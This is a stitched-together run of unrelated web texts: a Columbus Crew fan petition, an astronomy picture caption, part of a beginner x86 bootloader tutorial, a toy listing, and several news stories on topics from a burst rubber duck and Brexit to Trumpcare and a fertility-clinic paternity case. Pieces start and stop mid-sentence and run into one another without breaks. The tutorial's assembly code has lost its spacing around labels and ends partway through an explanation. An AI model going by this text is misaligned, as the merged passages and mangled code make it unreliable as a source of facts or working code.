ownership solely as an investment portfolio item, and not as a steward of the history and hearts of a proud local community. Simply put: If this can happen to Columbus, we feel it can then happen anywhere. And we cannot and do not want to imagine that happening to us. It is for these reasons we write to you, our league officials and our individual team investor- operator groups. Please use all of your combined creativity, foresight and authorities to find a better solution to this move and do not allow the Columbus Crew SC to relocate. Please, #SaveTheCrew. Thank you, - The undersigned fans of MLSAstronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2012 February 23 A Zodiacal Skyscape Image Credit & Copyright: Jack Fusco Explanation: Venus and Jupiter are this month's two brightest planets. Shortly after sunset on February 20, they dominate the sky above the western horizon and this snowy landscape. In clear and transparent skies over Cherry Springs State Park, Pennsylvania, USA, they are also seen immersed in Zodiacal light. The extended, diffuse, triangular glow is sunlight scattered by dust along the plane of the ecliptic. Brighter near the horizon, the Zodiacal glow angles upward, first to Venus and then to Jupiter hugging the ecliptic as they orbit the Sun. Fading even further, the glow stretches toward the lovely Pleides star cluster near the top of the frame. Following their appearance in this Zodiacal skyscape, the coming days will see Venus and Jupiter sharing the early evening sky with a young crescent Moon. The two bright planets are even headed for a close pairing or conjunction, separated by about 3 degrees on March 13.How to write a simple operating system (C) 2017 Mike Saunders and MikeOS Developers This document shows you how to write and build your first operating system in x86 assembly language. It explains what you need, the fundamentals of the PC boot process and assembly language, and how to take it further. The resulting OS will be very small (fitting into a bootloader) and have very few features, but it's a starting point for you to explore further. After you have read the guide, see the MikeOS project for a bigger x86 assembly language OS that you can explore to expand your skills. Requirements Prior programming experience is essential. If you've done some coding in a high-level language like PHP or Java, that's OK, but really you need some knowledge of a lower-level language like C, especially on the subject of memory and pointers. For this guide we're using Linux. Installing Linux is very easy thesedays; grab Ubuntu and install it in VirtualBox or VMware if you don't want to dual-boot. When you're in Ubuntu, get all the tools you need to follow this guide by entering this in a terminal window: sudo apt-get install build-essential qemu nasm This gets you the development toolchain (compiler etc.), QEMU PC emulator and the NASM assembler, which converts assembly language into raw machine code executable files. PC primer If you're writing an OS for x86 PCs (the best choice, due to the huge amount of documentation available), you'll need to understand the basics of how a PC starts up. Fortunately, you don't need to dwell on complicated subjects such as graphics drivers and network protocols, as you'll be focusing on the essential parts first. When a PC is powered-up, it starts executing the BIOS (Basic Input/Output System), which is essentially a mini-OS built into the system. It performs a few hardware tests (eg memory checks) and typically spurts out a graphic (eg Dell logo) or diagnostic text to the screen. Then, when it's done, it starts to load your operating system from any media it can find. Many PCs jump to the hard drive and start executing code they find in the Master Boot Record (MBR), a 512-byte section at the start of the hard drive; some try to find executable code on a floppy disk (boot sector) or CD-ROM. This all depends on the boot order - you can normally specify it in the BIOS options screen. The BIOS loads 512 bytes from the chosen media into its memory, and begins executing it. This is the bootloader, the small program that then loads the main OS kernel or a larger boot program (eg GRUB/LILO for Linux systems). This 512 byte bootloader has two special numbers at the end to tell the OS that it's a boot sector - we'll cover that later. Note that PCs have an interesting feature for booting. Historically, most PCs had a floppy drive, so the BIOS was configured to boot from that device. Today, however, many PCs don't have a floppy drive - only a CD-ROM - so a hack was developed to cater for this. When you're booting from a CD-ROM, it can emulate a floppy disk; the BIOS reads the CD-ROM drive, loads in a chunk of data, and executes it as if it was a floppy disk. This is incredibly useful for us OS developers, as we can make floppy disk versions of our OS, but still boot it on CD-only machines. (Floppy disks are really easy to work with, whereas CD-ROM filesystems are much more complicated.) So, to recap, the boot process is: Power on: the PC starts up and begins executing the BIOS code. The BIOS looks for various media such as a floppy disk or hard drive. The BIOS loads a 512 byte boot sector from the specified media and begins executing it. Those 512 bytes then go on to load the OS itself, or a more complex bootloader. For MikeOS, we have the 512-byte bootloader, which we write to a floppy disk image file (a virtual floppy). We can then inject that floppy image into a CD, for PCs that only have CD-ROM drives. Either way, the BIOS loads it as if it was on a floppy, and starts executing it. We have control of the system! Assembly language primer Most modern operating systems are written in C/C++. That's very useful when portability and code-maintainability are crucial, but it adds an extra layer of complexity to the proceedings. For your very first OS, you're better off sticking with assembly language, as used in MikeOS. It's more verbose and non-portable, but you don't have to worry about compilers and linkers. Besides, you need a bit of assembly to kick-start any OS. Assembly language (or colloquially "asm") is a textual way of representing the instructions that a CPU executes. For instance, an instruction to move some memory in the CPU may be 11001001 01101110 - but that's hardly memorable! So assembly provides mnemonics to substitute for these instructions, such as mov ax, 30. They correlate directly with machine-code CPU instructions, but without the meaningless binary numbers. Like most programming languages, assembly is a list of instructions followed in order. You can jump around between various places and set up subroutines/functions, but it's much more minimal than C# and friends. You can't just print "Hello world" to the screen - the CPU has no concept of what a screen is! Instead, you work with memory, manipulating chunks of RAM, performing arithmetic on them and putting the results in the right place. Sounds scary? It's a bit alien at first, but it's not hard to grasp. At the assembly language level, there is no such thing as variables in the high-level language sense. What you do have, however, is a set of registers, which are on-CPU memory stores. You can put numbers into these registers and perform calculations on them. In 16-bit mode, these registers can hold numbers between 0 and 65535. Here's a list of the fundamental registers on a typical x86 CPU: AX, BX, CX, DX General-purpose registers for storing numbers that you're using. For instance, you may use AX to store the character that has been pressed on the keyboard, while using CX to act as a counter in a loop. (Note: these 16-bit registers can be split into 8-bit registers such as AH/AL, BH/BL etc.) SI, DI Source and destination data index registers. These point to places in memory for retrieving and storing data. SP The Stack Pointer (explained in a moment). IP (sometimes CP) The Instruction/Code Pointer. This contains the location in memory of the instruction being executed. When an instruction has finished, it is incremented and moves on to the next instruction. You can change the contents of this register to move around in your code. So you can use these registers to store numbers as you work - a bit like variables, but they're much more fixed in size and purpose. There are a few others, notably segment registers. Due to limitations in old PCs, memory was handled in 64K chunks called segments. This is a really messy subject, but thankfully you don't have to worry about it - for the time being, your OS will be less than a kilobyte anyway! In MikeOS, we limit ourselves to a single 64K segment so that we don't have to mess around with segment registers. The stack is an area of your main RAM used for storing temporary information. It's called a stack because numbers are stacked one-on-top of another. Imagine a Pringles tube: if you put in a playing card, an iPod Shuffle and a beermat, you'll pull them out in the reverse order (beermat, then iPod, and finally playing card). It's the same with numbers: if you push the numbers 5, 7 and 15 onto the stack, you will pop them out as 15 first, then 7, and lastly 5. In assembly, you can push registers onto the stack and pop them out later - it's useful when you want to store temporarily the value of a register while you use that register for something else. PC memory can be viewed as a linear line of pigeon-holes ranging from byte 0 to whatever you have installed (millions of bytes on modern machines). At byte number 53,634,246 in your RAM, for instance, you may have your web browser code to view this document. But whereas we humans count in powers of 10 (10, 100, 1000 etc. - decimal), computers are better off with powers of two (because they're based on binary). So we use hexadecimal, which is base 16, as a way of representing numbers. See this chart to understand: Decimal 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Hexadecimal 0 1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 As you can see, whereas our normal decimal system uses 0 - 9, hexadecimal uses 0 - F in counting. It's a bit weird at first, but you'll get the hang of it. In assembly programming, we identify hexadecimal (hex) numbers by tagging a 'h' onto the end - so 0Ah is hex for the number 10. (You can also denote hexadecimal in assembly by prefixing the number with 0x - for instance, 0x0A.) Let's finish off with a few common assembly instructions. These move memory around, compare them and perform calculations. They're the building blocks of your OS - there are hundreds of instructions, but you don't have to memorise them all, because the most important handful are used 90% of the time. mov Copies memory from one location or register to another. For instance, mov ax, 30 places the number 30 into the AX register. Using square brackets, you can get the number at the memory location pointed to by the register. For instance, if BX contains 80, then mov ax, [bx] means "get the number in memory location 80, and put it into AX". You can move numbers between registers too: mov bx, cx. add / sub Adds a number to a register. add ax, FFh adds FF in hexadecimal (255 in our normal decimal) to the AX register. You can use sub in the same way: sub dx, 50. cmp Compares a register with a number. cmp cx, 12 compares the CX register with the number 12. It then updates a special register on the CPU called FLAGS - a special register that contains information about the last operation. In this case, if the number 12 is bigger than the value in CX, it generates a negative result, and notes that negative in the FLAGS register. We can use this in the following instructions... jmp / jg / jl... Jump to a different part of the code. jmp label jumps (GOTOs) to the part of our source code where we have label: written. But there's more - you can jump conditionally, based on the CPU flags set in the previous command. For instance, if a cmp instruction determined that a register held a smaller value than the one with which it was compared, you can act on that with jl label (jump if less-than to label). Similarly, jge label jumps to 'label' in the code if the value in the cmp was greater-than or equal to its compared number. int Interrupt the program and jump to a specified place in memory. Operating systems set up interrupts which are analogous to subroutines in high-level languages. For instance, in MS-DOS, the 21h interrupt provides DOS services (eg as opening a file). Typically, you put a value in the AX register, then call an interrupt and wait for a result (passed back in a register too). When you're writing an OS from scratch, you can call the BIOS with int 10h, int 13h, int 14h or int 16h to perform tasks like printing strings, reading sectors from a floppy disk etc. Let's look at some of these instructions in a little more detail. Consider the following code snippet: mov bx, 1000h mov ax, [bx] cmp ax, 50 jge label... label: mov ax, 10 In the first instruction, we move the number 1000h into the BX register. Then, in the second instruction, we store in AX whatever is in the memory location pointed to by BX. This is what the [bx] means: if we just did mov ax, bx it'd simply copy the number 1000h into the AX register. But by using square brackets, we're saying: don't just copy the contents of BX into AX, but copy the contents of the memory address to which BX points. Given that BX contains 1000h, this instruction says: find whatever is at memory location 1000h, and put it into AX. So, if the byte of memory at location 1000h contains 37, then that number 37 will be put into the AX register via our second instruction. Next up, we use cmp to compare the number in AX with the number 50 (the decimal number 50 - we didn't suffix it with 'h'). The following jge instruction acts on the cmp comparison, which has set the FLAGS register as described earlier. The jge label says: if the result from the previous comparison is greater than or equal, jump to the part of the code denoted by label:. So if the number in AX is greater than or equal to 50, execution jumps to label:. If not, execution continues at the '...' stage. One last thing: you can insert data into a program with the db (define byte) directive. For instance, this defines a series of bytes with the number zero at the end, representing a string: mylabel: db 'Message here', 0 In our assembly code, we know that a string of characters, terminated by a zero, can be found at the mylabel: position. We could also set up single byte to use somewhat like a variable: foo: db 0 Now foo: points at a single byte in the code, which in the case of MikeOS will be writable as the OS is copied completely to RAM. So you could have this instruction: mov byte al, [foo] This moves the byte pointed to by foo into the AL register. So those are the essentials of x86 PC assembly language, and enough to get you started. Your first OS Now you're ready to write your first operating system kernel! Of course, this is going to be extremely bare-bones, just a 512-byte boot sector as described earlier, but it's a starting point for you to expand further. Paste the following code into a file called myfirst.asm and save it into your home directory - this is the source code to your first OS. BITS 16 start: mov ax, 07C0h ; Set up 4K stack space after this bootloader add ax, 288 ; (4096 + 512) / 16 bytes per paragraph mov ss, ax mov sp, 4096 mov ax, 07C0h ; Set data segment to where we're loaded mov ds, ax mov si, text_string ; Put string position into SI call print_string ; Call our string-printing routine jmp $ ; Jump here - infinite loop! text_string db 'This is my cool new OS!', 0 print_string: ; Routine: output string in SI to screen mov ah, 0Eh ; int 10h 'print char' function.repeat: lodsb ; Get character from string cmp al, 0 je.done ; If char is zero, end of string int 10h ; Otherwise, print it jmp.repeat.done: ret times 510-($-$$) db 0 ; Pad remainder of boot sector with 0s dw 0xAA55 ; The standard PC boot signature Let's step through this. The BITS 16 line isn't an x86 CPU instruction; it just tells the NASM assembler that we're working in 16-bit mode. NASM can then translate the following instructions into raw x86 binary. Then we have the start: label, which isn't strictly needed as execution begins right at the start of the file anyway, but it's a good marker. From here onwards, note that the semicolon (;) character is used to denote non-executable text comments - we can put anything there. The following six lines of code aren't really of interest to us - they simply set up the segment registers so that the stack pointer (SP) knows where our handy stack of temporary data is, and where the data segment (DS) is located. As mentioned, segments are a hideously messy way of handling memory from the old 16-bit days, but we just set up the segment registers and forget about them. (The references to 07C0h are the equivalent segment location at which the BIOS loads our code, so we start from there.) The next part is where the fun happens. The mov si, text_string line says: copy the location of the text string below into the SI register. Simple enough! Then we use call, which is like a GOSUB in BASIC or a function call in C. It means: jump to the specified section of code, but prepare to come back here when we're done. How does the code know how to do that? Well, when we use a call instruction, the CPU increments the position of the IP (Instruction Pointer) register and pushes it onto the stack. You may recall from the previous explanation of the stack that it's a last-in first-out memory storage mechanism. All that business with the stack pointer (SP) and stack segment (SS) at the start cleared a space for the stack, so that we can drop temporary numbers there without overwriting our code. So, the call print_string says: jump to the print_string routine, but push the location of the next instruction onto the stack, so we can pop it off later and resume execution here. Execution has jumped over to print_string: - this routine uses the BIOS to output text to the screen. First we put 0Eh into the AH register (the upper byte of AX). Then we have a lodsb (load string byte) instruction, which retrieves a byte of data from the location pointed to by SI, and stores it in AL (the lower byte of AX). Next we use cmp to check if that byte is zero - if so, it's the end of the string and we quit printing (jump to the.done label). If it's not zero, we call int 10h (interrupt our code and go
is taking up the role to scare a whole new generation! Let’s hope the window display box that this Pennywise POP comes in can keep him under control…remember, don’t follow him into the sewers! Note: Since the chase version was vaulted, Funko have changed the Pennywise Pop so it has blue eyes rather than green eyes. Newer orders may receive the blue-eyed version, while orders placed before the chase was vaulted may receive the green-eyed version. As soon as we get updated images of the Pop we will add them to site.A giant yellow duck on display at Taiwan's Keelung Port is finding little to be happy about this New Year's Day. The famed 18-meter inflatable art installation, created by Dutch artist Florentijn Hofman, burst and deflated on Tuesday, leaving locals shocked and disappointed. The duck's demise came only 11 days after it arrived in Keelung City Harbor, the latest in a multi-city Taiwan tour for the celebrity bird. There are multiple theories as to what led to the New Year's Eve tragedy. Murder most fowl? According to Taiwan media reports, one tourist claims she saw what looked like an eagle scratch the rubber duck with its talons. If that's indeed the case, jealousy could very well have been the motivation behind this unprovoked attack. Meanwhile, a meteorologist speculates an unseasonal dose of sunshine may have overheated the duck, disrupting its internal pressure after weeks of cold, rainy conditions, leading to its rupture. "We want to apologize to the fans of the yellow rubber duck," said Keelung City Council Speaker Huang Ching-ta while addressing media. "We haven't found the cause of the burst. We will carefully examine the duck to determine the cause." (Photos of the damaged duck can be viewed on Chinese micro-blogging site Weibo.) Fortunately for fans, the city says it plans to borrow another copy of the floating art installation, due to be installed by Saturday at the earliest. A turbulent past Versions of the famous duck have previously taken up temporary residence in cities all over the world, including Beijing, Osaka, Sydney, Sao Paolo and Amsterdam. After stirring up a craze in Hong Kong in May and June, followed by a two-month stint in Beijing, the 18-meter inflatable duck arrived in Taiwan in September. It was docked at Kaohsiung City until October 20, before floating to Taoyuan then its recent spot in Keelung in northern Taiwan. Tuesday's deflation is the latest in a string of unfortunate duck-related incidents. In May of 2013, Hong Kong's version of the giant duck mysteriously lost its mojo one night, leaving its deflated yellow shell bobbing lifelessly in Victoria Harbour. In late October, the Taoyuan version deflated then exploded during an attempt to re-inflate it. In 2009 during a port call in Belgium, it was stabbed 42 times by a vandal. "We don't know why the person did it," artist Hofman said in an earlier interview with CNN.Last night, while some of us were watching Adam Jones in the Home Run Derby, others were taking in a Justin Timberlake concert at First Mariner Arena. Word leaked out that JT gave our Birds a toast… Why yes, Justin Timberlake DID just lead a toast about the #Orioles being in FIRST PLACE. — Chad D (@BaltimoreChad) July 15, 2014 "Did I hear this correctly? The O's are in first place in the AL [East]? Let's cheers to that." Justin Timberlake before taking a shot — Midnight Sun (@midnightsunblog) July 15, 2014 Fortunately, Instagram user “Happytatii” got a video of it (h/t @OsUncensored): Pretty cool. My favorite part is the (I’m guessing Nationals fan) booing the whole time. @asianmegan JT shout out to DEM O'S HON!!!!! — Lucas Maciolek (@lmaciolek) July 15, 2014 (skip to 2:10 below):Unison claims high cost of claims against employers is discriminatory because it prevents low-income workers from obtaining justice Steep rises in fees for bringing unfair dismissal claims at employment tribunals – which have led to a 70% fall in the number of cases – are to be challenged at the UK’s highest court. The supreme court on Monday will hear a final appeal brought by Unison, which says that costs of up to £1,200 are preventing many mistreated workers – particularly those on low incomes – from obtaining justice and are discriminatory. The two-day hearing is the culmination of a four-year legal campaign by the union on behalf of its members. Unison lost in the high court and the court of appeal but has been given permission to argue its case before the supreme court. Seven justices headed by the court’s president, Lord Neuberger, will consider the claim – a sign that the court recognises its legal significance. The action is against the lord chancellor and justice secretary, Liz Truss. Commenting before the hearing, Unison’s general secretary, Dave Prentis, said: “If an employer breaks the law and treats one of their employees unfairly, they should be challenged. It cannot be right that unscrupulous bosses are escaping punishment because people simply don’t have the money to pursue a case. “The introduction of fees was a terrible decision. It has denied many thousands of people the right to seek justice. Bad employers are having a field day, safe in the knowledge that few will be able to afford to challenge them at a tribunal. Unions blame 70% fall in employment tribunal cases on fees Read more “The government originally said making people pay would weed out vexatious claims. All it’s done is penalise lower-paid employees with genuine grievances. That’s why it’s so important our legal challenge succeeds.” The coalition government introduced employment tribunal fees in July 2013. Fees start at £160 for issuing a claim for lost wages or breach of contract plus a further £230 if the case is heard in a tribunal. For more serious claims, such as unfair dismissal or discrimination, there is an issuing fee of £250 plus a hearing fee of £950 – making a total of £1,200. Appeals against decisions cost a further combined sum of £1,600. In January, the government produced its long-awaited review of the impact of fees, showing that there had been a 70% drop inthe number of cases since 2013. At the same time the justice minister, Sir Oliver Heald QC, brought in a fee-waiver scheme for the lowest paid. “It is right that those who can afford to should contribute to the cost of employment tribunals,” he said. “Under our reforms, record numbers are bringing forward disputes in tribunals or through the Acas conciliation service. Costs should not prevent anyone bringing claims, so we are extending our help with fees scheme and will introduce a green paper on further legal support measures.” In a critical report, the Commons justice select committee last summer dismissed earlier MoJ attempts to blame the drop in cases on the economic turndown. The committee’s chair, the Conservative MP Bob Neill, said at the time: “The MoJ has argued that changes to employment law and the improving economic situation, as well as the pre-existing downward trend in the number of employment tribunal cases being brought, may account for part of the reduction in the number of cases. “These may indeed be facts, but the timing and scale of the reduction following immediately from the introduction of fees can leave no doubt that the clear majority of the decline is attributable to fees.”The United Nations refugee agency is planning for a possible increase in Mexican asylum claims in Canada after U.S. President Donald Trump ordered the construction of the Mexico border wall and a temporary ban on all refugee admissions. The UNHCR's new representative to Canada, Jean-Nicolas Beuze, told The Globe and Mail that the multilateral body is doing everything it can to convince the United States to resume its refugee-resettlement program, which is the largest in the world. "We are very concerned by the discriminatory aspect of the decision which has been taken by singling out a specific group," Mr. Beuze said. Story continues below advertisement Globe editorial: Jobs, Mexico and the dangers of Trumpenomics For subscribers: Trump's protectionist trade stance sparks concerns of global trade war Related: Despite Trump ban, Canada won't increase refugee quotas "We are working very closely with the U.S. administration to see what can be done to resume the long tradition of the U.S." Last week, Mr. Trump signed a number of anti-immigration executive orders, including a 120-day ban on all refugee admissions, a 90-day ban on the entry of people from seven Muslim-majority countries and the construction of a long-promised wall along the U.S.-Mexico border – a pledge that Mr. Trump made when he announced his candidacy for the presidency in June, 2015. Experts say Canada could see an increase in the number of Mexican immigrants and refugees as a result of Mr. Trump's directives and a recent Canadian policy change. In December, the Liberal government lifted a visa requirement for Mexican travellers that had been in place since 2009 when the Conservatives imposed it after a rise in invalid refugee claims from Mexico. Story continues below advertisement Story continues below advertisement Mr. Beuze said that while it's hard to predict the implications of Mr. Trump's plans, one thing is clear: Mexican asylum seekers will continue to flee instability in their home country, with their sights potentially set on Canada as the United States closes its doors to refugees. "Whether they will move from the U.S. to Canada or … straight from Mexico to Canada, that remains to be seen," he said. "I think we are all aware of this potential and, I'm sure like everyone, we are planning for that, looking at the different options to see whether we will need to beef up services upon arrival of such kind of claimants." Mr. Beuze took up his new post as the UNHCR's envoy to Canada in mid-January after serving as the agency's deputy representative for protection in Lebanon. He arrives at a challenging time when the world faces an unprecedented global refugee crisis that has displaced more than 65 million people. Heightening this is the American crackdown on immigration as well as resistance to refugees in parts of Europe. The New Democrats have called on the Liberal government to denounce Mr. Trump's "racist" executive orders. After the U.S. refugee ban was announced, Mr. Trudeau used his Twitter account to say: "To those fleeing persecution, terror & war, Canadians will welcome you, regardless of your faith." Story continues below advertisement But cabinet ministers have not publicly condemned Mr. Trump's order. Although Mr. Beuze was careful not to judge Ottawa's response, he said it's best to engage in a concerted manner with the Trump administration, as the UN has been doing. "It's always more important to engage positively with your counterpart when you disagree on an issue and see how you can work with them to resolve this issue, especially when you share such a long border, when you have so many interests … and when you share the same values." Despite Mr. Trump's refugee ban, the Canadian government says it will not take in additional refugees this year. Mr. Beuze refused to say whether he thinks Canada should increase its refugee intake, but he did warn that if it plans to do so, it's not as simple as announcing a resettlement target and buying those individuals plane tickets to Canada. He emphasized the need to ensure services are in place to successfully resettle refugees, including affordable housing, medical care and language training. As the UNHCR works to convince the United States to resume its refugee-resettlement program, Mr. Beuze said his colleagues in Africa, the Middle East and Asia are reporting growing anxiety among refugees who had plans of resettling in the United States. "We are hearing that our colleagues have to break the news to some who were supposed to be departing very soon," he said. "We have heard quite compelling stories from UNHCR colleagues about families breaking into tears."Tim Fields / Flickr LONDON — The House of Lords' EU Select Committee is pushing for Northern Ireland to have special status after Brexit because "any negative impact of Brexit on the UK economy is likely to be replicated, or even magnified, for the Irish economy." According to a report released by the committee on Monday, the House of Lords believes that Northern Ireland should maintain its open land border with the Irish Republic and have devolved control over EU immigration. In other words, even if Britain as a whole enacts a "hard Brexit" — the UK leaving the European Union without access to the single market in exchange for complete control over immigration — the House of Lords thinks Northern Ireland should be able to have: Britain voted for a Brexit by a slim majority on June 23 and, since then, there has been much speculation on when the new prime minister, Theresa May, will trigger Article 50 and start the official two-year negotiation process for Britain to leave the EU. March 2017 is the current target date. May said she will not give a "running commentary" on how negotiations are going but she has made it clear in various speeches that her government is prioritising immigration restrictions. This would imply a "hard Brexit" because the EU's official line is that it will not allow the UK to curb immigration and keep membership of the single market at the same time. However, the committee's findings fall in line with Prime Minister Theresa May's promise to Northern Ireland that there will not be a return to the "borders of the past" — which suggests that Northern Ireland should be given special treatment. "I have been clear, the secretary of state for Northern Ireland has been clear, the taoiseach has also said that on both sides of the border we don't want to see a return to the borders of the past," she said in October this year, when Northern Irish officials voiced concerns over the impact Brexit will have on the region. "I think it's worth reminding the house that actually the Common Travel Area has been in place since the 1920s, so it was there well before we were both members of the European Union. We are working together with the government of the Republic and obviously I've had discussions on this with the first minister and the deputy first minister in Northern Ireland. "We want to ensure, as I say, that we don't see a return to the borders of the past." While the House of Lords committee concluded that "the unique nature of UK-Irish relations requires a unique solution, and calls on the UK and Irish Governments to negotiate a draft bilateral agreement," it highlighted how it was "not a given" that the remaining EU member states would support this during Brexit negotiations. "It is not a given that the EU will tolerate uncontrolled movement from the UK into the EU, via the UK-Irish border. Both the UK and Irish Governments must seek to convince EU partners of the necessity of maintaining the reciprocal rights enjoyed by UK and Irish citizens, both because of the unique nature of UK-Irish relations, and in view of the specific circumstances in Northern Ireland," said the report.UPDATED with Trump news conference. President Donald Trump blamed Democrats for the major blow to his new administration, after he failed to secure enough votes to get his Trumpcare bill past the House. “We were very close … and had no Democratic support,” Trump said at an Oval Office address held not long after deciding to pull the bill from a vote for the second and final time. “They weren’t going to give us a single vote,” Trump said, seated at his desk ad flanked with Health Secretary Tom Price and Vice President Mike Pence. “I have been saying for last year and a half that best thing we can do, politically speaking, is let Obamacare explode. … It’s exploding and soon will explode,” he said, seeming to take consolation in the thought. “Almost all states have big problems,” he said, forecasting Obamacare is “going to have a bad year.” “What would be very good … if the Democrats, when [Obamacare] explodes, which it will soon, if they got together with us and got a real health care bill. I’d be totally open to it. And I think that’s going to happen,” Trump said, making news there. He said there were elements of the Trumpcare bill he did not like and that he believes the country will wind up with a “better bill” when Dems negotiate with Republicans after Obamacare “implodes” for a while. “you know, both parties can get together and do real health care. That’s the best thing,” he said. Trump insisted he had not said “repeal and replace Obamacare in 64 days” in his speeches, which might come as a surprise to those who watched rally speeches in which he boasted of plans to do it on “Day 1” of his administration if elected. The real losers today, Trump insisted, are House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer. “Now they own Obamacare. They own it — 100% own it,” Trump bristled. That might come as a surprise to Dems, who had owned it the past seven years. Having made his point that Obamacare “is not a Republican health care, not anything but a Democratic health care,” Trump said that when “they all become civilized and get together, and try and work out a great health care bill for the people of this country, we’re totally open to it,” which may have surprised the Republicans in the room. Trump called the past few weeks “an interesting period of time,” explaining, “We learned a lot about loyalty and the vote-getting process, and some very arcane rules in the Senate and the House.” Presumably by “we” he meant “Donald Trump,” given that others in the room are veterans of this stuff. Asked what’s next on his agenda, Trump said he’s moving on to tax reform. PREVIOUSLY: President Donald Trump suffered his first White House setback today when the Trumpcare vote got yanked rather than suffer what seemed destined to be a stunning spanking with the plan failing to secure the needed 216 House votes. “Obamacare is the law of land and remains until its replaced,” House Speaker said at a presser held not longer after the bill was pulled. “We’re going to be living with Obamacare for the foreseeable future. I don’t know how long it’s going to take us to replace this law.” “Being against things is easy to do – you just have to be against it,” Ryan said. What Republicans could not agree on, despite having been opposed to Obamacare for seven years, was how to replace it, he explained. He tried to paint the defeat with the brightest colors possible, calling it part of the GOP’s “growing pains” as it transitioned from minority party to guys in charge of the House, Senate and White House. On the flip side, House minority leader Nancy Pelosi was beaming at her press conference, calling the decision to pull the bill a “victory for the American people – for our seniors, for people with disabilities, for our children, for our veterans. It’s not just about the 24 million who won’t lose their health insurance under Trumpcare, she said. “It’s about the 155 million who receive their health benefits in the workplace who not be assaulted by some of the provisions that the Republicans put in the bill, especially last night when they removed the essential benefits package,” she enthused. News the bill had been pull did not come as a staggering surprise, even for a president who had promised his followers they were going to get “sick of winning,” given Trump’s early morning blame-game shot via Twitter, and White House Press Secretary Sean Spicer’s laying-the-groundwork Pre-Defeat briefing. At that briefing, Spicer chided reporters for their “so negative” questions about “what if the bill fails.” Even so, Spicer declined, when asked, to say Trump was confident the Trumpcare bill would pass in the House, saying instead he was confident Trump did every he could to make his case. “But, at the end of the day, this isn’t a dictatorship,” Spicer reminded reporters, adding, ” and we’ve got to expect members to ultimately vote how they will.” “The president made clear…they’re the ones who have to go back and answer to their constituents why they did not fulfill a pledge that they made” to repeal and replace Obamacare, Spicer said. Thursday afternoon Trump had called for an end to negotiations, saying he’d made his last best offer to conservative Republicans in the House who were still in the “No” camp. Trump indicated if this version of Trumpcare was not passed by the House, he would move on to tax reform and let the GOP live with Obamacare for the duration of this Congress. It marks the second time the Trumpcare vote had been pulled in two days. On Thursday, House Speaker Paul Ryan pulled the vote after Trump failed to close a deal Thursday morning with House Freedom Caucus conservatives. That scuttled Trump’s dreams of having the Trumpcare vote on the seventh anniversary of the signing of Obamacare. Trump set the stage early Friday morning for the scene that would follow, tweeting:It’s now been confirmed that a rodent, found in the southeast neighbourhood of New Brighton late last week, is indeed a rat. Animal and Bylaw Services says the vermin is a roof rat which was found, after being baited by a home owner, in a garage in the southeast neighbourhood. The good news is Animal and Bylaw Services Operations Manager Doug Frizzell feels the creepy find is an isolated incident, noting his people haven’t seen any evidence of any more rats in the immediate vicinity. He says the rat could have hopped a ride to the area on a vehicle or it might have been someone’s pet. Provincial Rat and Pest Specialist Phil Merrill will visit the neighbourhood Monday to confirm the initial findings of Animal and Bylaw Services. The southeast home is close to a landfill. Despite Alberta’s rat-free status, last year 150 of the rodents were found at a Medicine Hat area landfill. Coincidentally, Animal and Bylaw Services in Calgary last year had about 500 calls about the rodents. But of those calls, only seven turned out to involve rats.× Oregon man arrested after damaging vehicles, licking man on face and attempting to bite an officer PORTLAND, Ore. — Police arrested a 32-year-old man on Tuesday after he damaged vehicles, tried to bite officers, and licked a man on the face. Police said they responded to the area of Southeast 9th Avenue and Sandy Boulevard after getting reports about a man assaulting a woman in that area. When officers arrived, they found the man, who jumped on the police car, damaging it, then climbed a tree and ran into a restaurant. Police said employees got the man to leave the kitchen and police were able to take the man into custody after a short struggle. The suspect, Matthew Joseph Medlin, tried to bite one of the officers during the arrest, police say. Medlin had to be sedated by medical personnel. He was taken to a Portland hospital for an evaluation of drug intoxication. After the arrest, officers learned Medlin had damaged three other vehicles and attacked a man and licked his face. When Medlin is released from the hospital, he will be taken to the Multnomah County Jail on charges of burglary in the second degree, four counts of criminal mischief in the first degree, resist arrest, attempted assault of a public safety officer, disorderly conduct in the second degree, and harassment.A young women conceived with help from a fertility clinic in Utah in the early 1990s is actually the biological daughter of the former clinic receptionist, genetic testing reveals. The University of Utah is offering free genetic testing to families who went to the Midvale, Utah, clinic during the late 1980s and early 1990s in the wake of these jaw-dropping revelations. Now, the family has set up a website for others who believe they might have been victims of a semen-switching plan by the receptionist. The family discovered the truth about their daughter's parentage thanks to a direct-to-consumer genetic test by 23andMe, according to CeCe Moore, an independent genetic genealogist who first broke the story on her blog. Moore was contacted by "Paula," a pseudonym for the mother in the case, in October 2012. Paula and her husband "Jeff" had used the private clinic Reproductive Medical Technologies, Inc. (RMTI) in Midvale to conceive their daughter "Ashley" in 1992. Paula and Jeff had not requested donor sperm, and had no reason to believe that Jeff's semen had not been used for the insemination. But after all three family members had their DNA tested through 23andMe, Paula discovered something shocking: Her daughter and her husband did not share any DNA markers. DNA shock Traditional paternity tests confirmed 23andMe's information — no surprise, Moore told LiveScience, as the typical paternity test compares up to 21 genetic markers, while 23andMe's test look at one million. [7 Diseases You Can Learn About from a Genetic Test] "Although it's not legally admissible, it's a much more thorough test," she said. Moore is not employed by 23andMe, though she is a volunteer with the company's Ancestry Ambassadors group, which provides the company feedback on its products. She has also volunteered her expertise on projects for the genetic testing firm Family Tree DNA. Reeling, the family wondered if the clinic had made a mistake. The truth turned out to be far more distressing. On Moore's advice, Paula had Ashley tested by two other consumer genetic testing firms, Family Tree DNA and AncestryDNA. With Ashley's DNA profile in those two companies' databases, a match popped up a first cousin, once removed. Fortunately, that cousin had information that linked her and Ashley. From about 1986 to 1995, her cousin Thomas Lippert had manned the front desk at RMTI. Lippert is no longer living, but his 99-year-old mother agreed to have her DNA tested. The results confirmed that she is Ashley's grandmother. Lippert, her only child, must have been Ashley's father. Disturbing history The family did not get back to LiveScience in time to comment for this article; Moore said they are "overwhelmed" with media attention in the wake of her blog post. However, she said the news brought them a huge sense of betrayal. "For the mother, it's like being defiled," she said. "It's disgusting somebody tricking you into having their own sperm implanted in your body." For Ashley's father, "it's like a theft," Moore said. And Ashley "has to grapple with the fact that this man is part of her biology." Coming to terms with her biological parentage may be even more difficult given another revelation about Lippert: In 1975, he pled guilty to two counts of conspiring to kidnap after the abduction of a Purdue University student who said Lippert and another man stripped her, forced her into a large black box and threatened her with electric shocks in an effort to brainwash her into loving Lippert. Lippert was 